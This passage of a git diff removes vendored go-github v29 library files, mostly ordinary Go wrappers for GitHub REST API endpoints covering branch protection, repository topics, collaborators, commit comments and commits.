custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredApprovingReviewsPreview) - - p := new(RequiredStatusChecks) - resp, err := s.client.Do(ctx, req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, nil -} - -// ListRequiredStatusChecksContexts lists the required status checks contexts for a given protected branch. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#list-required-status-checks-contexts-of-protected-branch -func (s *RepositoriesService) ListRequiredStatusChecksContexts(ctx context.Context, owner, repo, branch string) (contexts []string, resp *Response, err error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection/required_status_checks/contexts", owner, repo, branch) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredApprovingReviewsPreview) - - resp, err = s.client.Do(ctx, req, &contexts) - if err != nil { - return nil, resp, err - } - - return contexts, resp, nil -} - -// UpdateBranchProtection updates the protection of a given branch. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#update-branch-protection -func (s *RepositoriesService) UpdateBranchProtection(ctx context.Context, owner, repo, branch string, preq *ProtectionRequest) (*Protection, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection", owner, repo, branch) - req, err := s.client.NewRequest("PUT", u, preq) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredApprovingReviewsPreview) - - p := new(Protection) - resp, err := s.client.Do(ctx, req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, nil -} - -// RemoveBranchProtection removes the protection of a given branch. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#remove-branch-protection -func (s *RepositoriesService) RemoveBranchProtection(ctx context.Context, owner, repo, branch string) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection", owner, repo, branch) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredApprovingReviewsPreview) - - return s.client.Do(ctx, req, nil) -} - -// GetSignaturesProtectedBranch gets required signatures of protected branch. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#get-required-signatures-of-protected-branch -func (s *RepositoriesService) GetSignaturesProtectedBranch(ctx context.Context, owner, repo, branch string) (*SignaturesProtectedBranch, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection/required_signatures", owner, repo, branch) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeSignaturePreview) - - p := new(SignaturesProtectedBranch) - resp, err := s.client.Do(ctx, req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, nil -} - -// RequireSignaturesOnProtectedBranch makes signed commits required on a protected branch. -// It requires admin access and branch protection to be enabled. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#add-required-signatures-of-protected-branch -func (s *RepositoriesService) RequireSignaturesOnProtectedBranch(ctx context.Context, owner, repo, branch string) (*SignaturesProtectedBranch, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection/required_signatures", owner, repo, branch) - req, err := s.client.NewRequest("POST", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeSignaturePreview) - - r := new(SignaturesProtectedBranch) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, err -} - -// OptionalSignaturesOnProtectedBranch removes required signed commits on a given branch. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#remove-required-signatures-of-protected-branch -func (s *RepositoriesService) OptionalSignaturesOnProtectedBranch(ctx context.Context, owner, repo, branch string) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection/required_signatures", owner, repo, branch) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeSignaturePreview) - - return s.client.Do(ctx, req, nil) -} - -// UpdateRequiredStatusChecks updates the required status checks for a given protected branch. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#update-required-status-checks-of-protected-branch -func (s *RepositoriesService) UpdateRequiredStatusChecks(ctx context.Context, owner, repo, branch string, sreq *RequiredStatusChecksRequest) (*RequiredStatusChecks, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection/required_status_checks", owner, repo, branch) - req, err := s.client.NewRequest("PATCH", u, sreq) - if err != nil { - return nil, nil, err - } - - sc := new(RequiredStatusChecks) - resp, err := s.client.Do(ctx, req, sc) - if err != nil { - return nil, resp, err - } - - return sc, resp, nil -} - -// License gets the contents of a repository's license if one is detected. -// -// GitHub API docs: https://developer.github.com/v3/licenses/#get-the-contents-of-a-repositorys-license -func (s *RepositoriesService) License(ctx context.Context, owner, repo string) (*RepositoryLicense, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/license", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - r := &RepositoryLicense{} - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, nil -} - -// GetPullRequestReviewEnforcement gets pull request review enforcement of a protected branch. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#get-pull-request-review-enforcement-of-protected-branch -func (s *RepositoriesService) GetPullRequestReviewEnforcement(ctx context.Context, owner, repo, branch string) (*PullRequestReviewsEnforcement, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection/required_pull_request_reviews", owner, repo, branch) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredApprovingReviewsPreview) - - r := new(PullRequestReviewsEnforcement) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, nil -} - -// UpdatePullRequestReviewEnforcement patches pull request review enforcement of a protected branch. -// It requires admin access and branch protection to be enabled. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#update-pull-request-review-enforcement-of-protected-branch -func (s *RepositoriesService) UpdatePullRequestReviewEnforcement(ctx context.Context, owner, repo, branch string, patch *PullRequestReviewsEnforcementUpdate) (*PullRequestReviewsEnforcement, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection/required_pull_request_reviews", owner, repo, branch) - req, err := s.client.NewRequest("PATCH", u, patch) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredApprovingReviewsPreview) - - r := new(PullRequestReviewsEnforcement) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, err -} - -// DisableDismissalRestrictions disables dismissal restrictions of a protected branch. -// It requires admin access and branch protection to be enabled. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#update-pull-request-review-enforcement-of-protected-branch -func (s *RepositoriesService) DisableDismissalRestrictions(ctx context.Context, owner, repo, branch string) (*PullRequestReviewsEnforcement, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection/required_pull_request_reviews", owner, repo, branch) - - data := new(struct { - DismissalRestrictionsRequest `json:"dismissal_restrictions"` - }) - - req, err := s.client.NewRequest("PATCH", u, data) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredApprovingReviewsPreview) - - r := new(PullRequestReviewsEnforcement) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, err -} - -// RemovePullRequestReviewEnforcement removes pull request enforcement of a protected branch. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#remove-pull-request-review-enforcement-of-protected-branch -func (s *RepositoriesService) RemovePullRequestReviewEnforcement(ctx context.Context, owner, repo, branch string) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection/required_pull_request_reviews", owner, repo, branch) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredApprovingReviewsPreview) - - return s.client.Do(ctx, req, nil) -} - -// GetAdminEnforcement gets admin enforcement information of a protected branch. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#get-admin-enforcement-of-protected-branch -func (s *RepositoriesService) GetAdminEnforcement(ctx context.Context, owner, repo, branch string) (*AdminEnforcement, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection/enforce_admins", owner, repo, branch) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredApprovingReviewsPreview) - - r := new(AdminEnforcement) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, nil -} - -// AddAdminEnforcement adds admin enforcement to a protected branch. -// It requires admin access and branch protection to be enabled. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#add-admin-enforcement-of-protected-branch -func (s *RepositoriesService) AddAdminEnforcement(ctx context.Context, owner, repo, branch string) (*AdminEnforcement, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection/enforce_admins", owner, repo, branch) - req, err := s.client.NewRequest("POST", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredApprovingReviewsPreview) - - r := new(AdminEnforcement) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, err -} - -// RemoveAdminEnforcement removes admin enforcement from a protected branch. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#remove-admin-enforcement-of-protected-branch -func (s *RepositoriesService) RemoveAdminEnforcement(ctx context.Context, owner, repo, branch string) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection/enforce_admins", owner, repo, branch) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredApprovingReviewsPreview) - - return s.client.Do(ctx, req, nil) -} - -// repositoryTopics represents a collection of repository topics. -type repositoryTopics struct { - Names []string `json:"names"` -} - -// ListAllTopics lists topics for a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/#list-all-topics-for-a-repository -func (s *RepositoriesService) ListAllTopics(ctx context.Context, owner, repo string) ([]string, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/topics", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeTopicsPreview) - - topics := new(repositoryTopics) - resp, err := s.client.Do(ctx, req, topics) - if err != nil { - return nil, resp, err - } - - return topics.Names, resp, nil -} - -// ReplaceAllTopics replaces topics for a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/#replace-all-topics-for-a-repository -func (s *RepositoriesService) ReplaceAllTopics(ctx context.Context, owner, repo string, topics []string) ([]string, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/topics", owner, repo) - t := &repositoryTopics{ - Names: topics, - } - if t.Names == nil { - t.Names = []string{} - } - req, err := s.client.NewRequest("PUT", u, t) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeTopicsPreview) - - t = new(repositoryTopics) - resp, err := s.client.Do(ctx, req, t) - if err != nil { - return nil, resp, err - } - - return t.Names, resp, nil -} - -// ListApps lists the Github apps that have push access to a given protected branch. -// It requires the Github apps to have `write` access to the `content` permission. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#list-apps-with-access-to-protected-branch -func (s *RepositoriesService) ListApps(ctx context.Context, owner, repo, branch string) ([]*App, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection/restrictions/apps", owner, repo, branch) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var apps []*App - resp, err := s.client.Do(ctx, req, &apps) - if err != nil { - return nil, resp, err - } - - return apps, resp, nil -} - -// ReplaceAppRestrictions replaces the apps that have push access to a given protected branch. -// It removes all apps that previously had push access and grants push access to the new list of apps. -// It requires the Github apps to have `write` access to the `content` permission. -// -// Note: The list of users, apps, and teams in total is limited to 100 items. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#replace-app-restrictions-of-protected-branch -func (s *RepositoriesService) ReplaceAppRestrictions(ctx context.Context, owner, repo, branch string, slug []string) ([]*App, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection/restrictions/apps", owner, repo, branch) - req, err := s.client.NewRequest("PUT", u, slug) - if err != nil { - return nil, nil, err - } - - var apps []*App - resp, err := s.client.Do(ctx, req, &apps) - if err != nil { - return nil, nil, err - } - - return apps, resp, nil -} - -// AddAppRestrictions grants the specified apps push access to a given protected branch. -// It requires the Github apps to have `write` access to the `content` permission. -// -// Note: The list of users, apps, and teams in total is limited to 100 items. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#add-app-restrictions-of-protected-branch -func (s *RepositoriesService) AddAppRestrictions(ctx context.Context, owner, repo, branch string, slug []string) ([]*App, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection/restrictions/apps", owner, repo, branch) - req, err := s.client.NewRequest("POST", u, slug) - if err != nil { - return nil, nil, err - } - - var apps []*App - resp, err := s.client.Do(ctx, req, &apps) - if err != nil { - return nil, nil, err - } - - return apps, resp, nil -} - -// RemoveAppRestrictions removes the ability of an app to push to this branch. -// It requires the Github apps to have `write` access to the `content` permission. -// -// Note: The list of users, apps, and teams in total is limited to 100 items. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#remove-app-restrictions-of-protected-branch -func (s *RepositoriesService) RemoveAppRestrictions(ctx context.Context, owner, repo, branch string, slug []string) ([]*App, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection/restrictions/apps", owner, repo, branch) - req, err := s.client.NewRequest("DELETE", u, slug) - if err != nil { - return nil, nil, err - } - - var apps []*App - resp, err := s.client.Do(ctx, req, &apps) - if err != nil { - return nil, nil, err - } - - return apps, resp, nil -} - -// TransferRequest represents a request to transfer a repository. -type TransferRequest struct { - NewOwner string `json:"new_owner"` - TeamID []int64 `json:"team_ids,omitempty"` -} - -// Transfer transfers a repository from one account or organization to another. -// -// This method might return an *AcceptedError and a status code of -// 202. This is because this is the status that GitHub returns to signify that -// it has now scheduled the transfer of the repository in a background task. -// A follow up request, after a delay of a second or so, should result -// in a successful request. -// -// GitHub API docs: https://developer.github.com/v3/repos/#transfer-a-repository -func (s *RepositoriesService) Transfer(ctx context.Context, owner, repo string, transfer TransferRequest) (*Repository, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/transfer", owner, repo) - - req, err := s.client.NewRequest("POST", u, &transfer) - if err != nil { - return nil, nil, err - } - - r := new(Repository) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, nil -} - -// DispatchRequestOptions represents a request to trigger a repository_dispatch event. -type DispatchRequestOptions struct { - // EventType is a custom webhook event name. (Required.) - EventType string `json:"event_type"` - // ClientPayload is a custom JSON payload with extra information about the webhook event. - // Defaults to an empty JSON object. - ClientPayload *json.RawMessage `json:"client_payload,omitempty"` -} - -// Dispatch triggers a repository_dispatch event in a GitHub Actions workflow. -// -// GitHub API docs: https://developer.github.com/v3/repos/#create-a-repository-dispatch-event -func (s *RepositoriesService) Dispatch(ctx context.Context, owner, repo string, opts DispatchRequestOptions) (*Repository, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/dispatches", owner, repo) - - req, err := s.client.NewRequest("POST", u, &opts) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeRepositoryDispatchPreview) - - r := new(Repository) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, nil -} diff --git a/vendor/github.com/google/go-github/v29/github/repos_collaborators.go b/vendor/github.com/google/go-github/v29/github/repos_collaborators.go deleted file mode 100644 index 8254ac0661..0000000000 --- a/vendor/github.com/google/go-github/v29/github/repos_collaborators.go +++ /dev/null @@ -1,152 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// ListCollaboratorsOptions specifies the optional parameters to the -// RepositoriesService.ListCollaborators method. -type ListCollaboratorsOptions struct { - // Affiliation specifies how collaborators should be filtered by their affiliation. - // Possible values are: - // outside - All outside collaborators of an organization-owned repository - // direct - All collaborators with permissions to an organization-owned repository, - // regardless of organization membership status - // all - All collaborators the authenticated user can see - // - // Default value is "all". - Affiliation string `url:"affiliation,omitempty"` - - ListOptions -} - -// CollaboratorInvitation represents an invitation created when adding a collaborator. -// GitHub API docs: https://developer.github.com/v3/repos/collaborators/#response-when-a-new-invitation-is-created -type CollaboratorInvitation struct { - ID *int64 `json:"id,omitempty"` - Repo *Repository `json:"repository,omitempty"` - Invitee *User `json:"invitee,omitempty"` - Inviter *User `json:"inviter,omitempty"` - Permissions *string `json:"permissions,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - URL *string `json:"url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` -} - -// ListCollaborators lists the GitHub users that have access to the repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/collaborators/#list-collaborators -func (s *RepositoriesService) ListCollaborators(ctx context.Context, owner, repo string, opt *ListCollaboratorsOptions) ([]*User, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/collaborators", owner, repo) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var users []*User - resp, err := s.client.Do(ctx, req, &users) - if err != nil { - return nil, resp, err - } - - return users, resp, nil -} - -// IsCollaborator checks whether the specified GitHub user has collaborator -// access to the given repo. -// Note: This will return false if the user is not a collaborator OR the user -// is not a GitHub user. -// -// GitHub API docs: https://developer.github.com/v3/repos/collaborators/#get -func (s *RepositoriesService) IsCollaborator(ctx context.Context, owner, repo, user string) (bool, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/collaborators/%v", owner, repo, user) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return false, nil, err - } - - resp, err := s.client.Do(ctx, req, nil) - isCollab, err := parseBoolResponse(err) - return isCollab, resp, err -} - -// RepositoryPermissionLevel represents the permission level an organization -// member has for a given repository. -type RepositoryPermissionLevel struct { - // Possible values: "admin", "write", "read", "none" - Permission *string `json:"permission,omitempty"` - - User *User `json:"user,omitempty"` -} - -// GetPermissionLevel retrieves the specific permission level a collaborator has for a given repository. -// GitHub API docs: https://developer.github.com/v3/repos/collaborators/#review-a-users-permission-level -func (s *RepositoriesService) GetPermissionLevel(ctx context.Context, owner, repo, user string) (*RepositoryPermissionLevel, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/collaborators/%v/permission", owner, repo, user) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - rpl := new(RepositoryPermissionLevel) - resp, err := s.client.Do(ctx, req, rpl) - if err != nil { - return nil, resp, err - } - return rpl, resp, nil -} - -// RepositoryAddCollaboratorOptions specifies the optional parameters to the -// RepositoriesService.AddCollaborator method. -type RepositoryAddCollaboratorOptions struct { - // Permission specifies the permission to grant the user on this repository. - // Possible values are: - // pull - team members can pull, but not push to or administer this repository - // push - team members can pull and push, but not administer this repository - // admin - team members can pull, push and administer this repository - // - // Default value is "push". This option is only valid for organization-owned repositories. - Permission string `json:"permission,omitempty"` -} - -// AddCollaborator sends an invitation to the specified GitHub user -// to become a collaborator to the given repo. -// -// GitHub API docs: https://developer.github.com/v3/repos/collaborators/#add-user-as-a-collaborator -func (s *RepositoriesService) AddCollaborator(ctx context.Context, owner, repo, user string, opt *RepositoryAddCollaboratorOptions) (*CollaboratorInvitation, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/collaborators/%v", owner, repo, user) - req, err := s.client.NewRequest("PUT", u, opt) - if err != nil { - return nil, nil, err - } - acr := new(CollaboratorInvitation) - resp, err := s.client.Do(ctx, req, acr) - if err != nil { - return nil, resp, err - } - return acr, resp, nil -} - -// RemoveCollaborator removes the specified GitHub user as collaborator from the given repo. -// Note: Does not return error if a valid user that is not a collaborator is removed. -// -// GitHub API docs: https://developer.github.com/v3/repos/collaborators/#remove-collaborator -func (s *RepositoriesService) RemoveCollaborator(ctx context.Context, owner, repo, user string) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/collaborators/%v", owner, repo, user) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v29/github/repos_comments.go b/vendor/github.com/google/go-github/v29/github/repos_comments.go deleted file mode 100644 index 380ca3d3b4..0000000000 --- a/vendor/github.com/google/go-github/v29/github/repos_comments.go +++ /dev/null @@ -1,162 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "time" -) - -// RepositoryComment represents a comment for a commit, file, or line in a repository. -type RepositoryComment struct { - HTMLURL *string `json:"html_url,omitempty"` - URL *string `json:"url,omitempty"` - ID *int64 `json:"id,omitempty"` - NodeID *string `json:"node_id,omitempty"` - CommitID *string `json:"commit_id,omitempty"` - User *User `json:"user,omitempty"` - Reactions *Reactions `json:"reactions,omitempty"` - CreatedAt *time.Time `json:"created_at,omitempty"` - UpdatedAt *time.Time `json:"updated_at,omitempty"` - - // User-mutable fields - Body *string `json:"body"` - // User-initialized fields - Path *string `json:"path,omitempty"` - Position *int `json:"position,omitempty"` -} - -func (r RepositoryComment) String() string { - return Stringify(r) -} - -// ListComments lists all the comments for the repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/comments/#list-commit-comments-for-a-repository -func (s *RepositoriesService) ListComments(ctx context.Context, owner, repo string, opt *ListOptions) ([]*RepositoryComment, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/comments", owner, repo) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeReactionsPreview) - - var comments []*RepositoryComment - resp, err := s.client.Do(ctx, req, &comments) - if err != nil { - return nil, resp, err - } - - return comments, resp, nil -} - -// ListCommitComments lists all the comments for a given commit SHA. -// -// GitHub API docs: https://developer.github.com/v3/repos/comments/#list-comments-for-a-single-commit -func (s *RepositoriesService) ListCommitComments(ctx context.Context, owner, repo, sha string, opt *ListOptions) ([]*RepositoryComment, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/commits/%v/comments", owner, repo, sha) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeReactionsPreview) - - var comments []*RepositoryComment - resp, err := s.client.Do(ctx, req, &comments) - if err != nil { - return nil, resp, err - } - - return comments, resp, nil -} - -// CreateComment creates a comment for the given commit. -// Note: GitHub allows for comments to be created for non-existing files and positions. -// -// GitHub API docs: https://developer.github.com/v3/repos/comments/#create-a-commit-comment -func (s *RepositoriesService) CreateComment(ctx context.Context, owner, repo, sha string, comment *RepositoryComment) (*RepositoryComment, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/commits/%v/comments", owner, repo, sha) - req, err := s.client.NewRequest("POST", u, comment) - if err != nil { - return nil, nil, err - } - - c := new(RepositoryComment) - resp, err := s.client.Do(ctx, req, c) - if err != nil { - return nil, resp, err - } - - return c, resp, nil -} - -// GetComment gets a single comment from a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/comments/#get-a-single-commit-comment -func (s *RepositoriesService) GetComment(ctx context.Context, owner, repo string, id int64) (*RepositoryComment, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/comments/%v", owner, repo, id) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeReactionsPreview) - - c := new(RepositoryComment) - resp, err := s.client.Do(ctx, req, c) - if err != nil { - return nil, resp, err - } - - return c, resp, nil -} - -// UpdateComment updates the body of a single comment. -// -// GitHub API docs: https://developer.github.com/v3/repos/comments/#update-a-commit-comment -func (s *RepositoriesService) UpdateComment(ctx context.Context, owner, repo string, id int64, comment *RepositoryComment) (*RepositoryComment, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/comments/%v", owner, repo, id) - req, err := s.client.NewRequest("PATCH", u, comment) - if err != nil { - return nil, nil, err - } - - c := new(RepositoryComment) - resp, err := s.client.Do(ctx, req, c) - if err != nil { - return nil, resp, err - } - - return c, resp, nil -} - -// DeleteComment deletes a single comment from a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/comments/#delete-a-commit-comment -func (s *RepositoriesService) DeleteComment(ctx context.Context, owner, repo string, id int64) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/comments/%v", owner, repo, id) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v29/github/repos_commits.go b/vendor/github.com/google/go-github/v29/github/repos_commits.go deleted file mode 100644 index f28ae9c6ab..0000000000 --- a/vendor/github.com/google/go-github/v29/github/repos_commits.go +++ /dev/null @@ -1,264 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "bytes" - "context" - "fmt" - "net/url" - "time" -) - -// RepositoryCommit represents a commit in a repo. -// Note that it's wrapping a Commit, so author/committer information is in two places, -// but contain different details about them: in RepositoryCommit "github details", in Commit - "git details". -type RepositoryCommit struct { - NodeID *string `json:"node_id,omitempty"` - SHA *string `json:"sha,omitempty"` - Commit *Commit `json:"commit,omitempty"` - Author *User `json:"author,omitempty"` - Committer *User `json:"committer,omitempty"` - Parents []Commit `json:"parents,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - URL *string `json:"url,omitempty"` - CommentsURL *string `json:"comments_url,omitempty"` - - // Details about how many changes were made in this commit. Only filled in during GetCommit! - Stats *CommitStats `json:"stats,omitempty"` - // Details about which files, and how this commit touched. Only filled in during GetCommit! - Files []CommitFile `json:"files,omitempty"` -} - -func (r RepositoryCommit) String() string { - return Stringify(r) -} - -// CommitStats represents the number of additions / deletions from a file in a given RepositoryCommit or GistCommit. -type CommitStats struct { - Additions *int `json:"additions,omitempty"` - Deletions *int `json:"deletions,omitempty"` - Total *int `json:"total,omitempty"` -} - -func (c CommitStats) String() string { - return Stringify(c) -} - -// CommitFile represents a file modified in a commit. -type CommitFile struct { - SHA *string `json:"sha,omitempty"` - Filename *string `json:"filename,omitempty"` - Additions *int `json:"additions,omitempty"` - Deletions *int `json:"deletions,omitempty"` - Changes *int `json:"changes,omitempty"` - Status *string `json:"status,omitempty"` - Patch *string `json:"patch,omitempty"` - BlobURL *string `json:"blob_url,omitempty"` - RawURL *string `json:"raw_url,omitempty"` - ContentsURL *string `json:"contents_url,omitempty"` - PreviousFilename *string `json:"previous_filename,omitempty"` -} - -func (c CommitFile) String() string { - return Stringify(c) -} - -// CommitsComparison is the result of comparing two commits. -// See CompareCommits() for details. -type CommitsComparison struct { - BaseCommit *RepositoryCommit `json:"base_commit,omitempty"` - MergeBaseCommit *RepositoryCommit `json:"merge_base_commit,omitempty"` - - // Head can be 'behind' or 'ahead' - Status *string `json:"status,omitempty"` - AheadBy *int `json:"ahead_by,omitempty"` - BehindBy *int `json:"behind_by,omitempty"` - TotalCommits *int `json:"total_commits,omitempty"` - - Commits []RepositoryCommit `json:"commits,omitempty"` - - Files []CommitFile `json:"files,omitempty"` - - HTMLURL *string `json:"html_url,omitempty"` - PermalinkURL *string `json:"permalink_url,omitempty"` - DiffURL *string `json:"diff_url,omitempty"` - PatchURL *string `json:"patch_url,omitempty"` - URL *string `json:"url,omitempty"` // API URL. -} - -func (c CommitsComparison) String() string { - return Stringify(c) -} - -// CommitsListOptions specifies the optional parameters to the -// RepositoriesService.ListCommits method. -type CommitsListOptions struct { - // SHA or branch to start listing Commits from. - SHA string `url:"sha,omitempty"` - - // Path that should be touched by the returned Commits. - Path string `url:"path,omitempty"` - - // Author of by which to filter Commits. - Author string `url:"author,omitempty"` - - // Since when should Commits be included in the response. - Since time.Time `url:"since,omitempty"` - - // Until when should Commits be included in the response. - Until time.Time `url:"until,omitempty"` - - ListOptions -} - -// BranchCommit is the result of listing branches with commit SHA. -type BranchCommit struct { - Name *string `json:"name,omitempty"` - Commit *Commit `json:"commit,omitempty"` - Protected *bool `json:"protected,omitempty"` -} - -// ListCommits lists the commits of a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/commits/#list -func (s *RepositoriesService) ListCommits(ctx context.Context, owner, repo string, opt *CommitsListOptions) ([]*RepositoryCommit, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/commits", owner, repo) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := 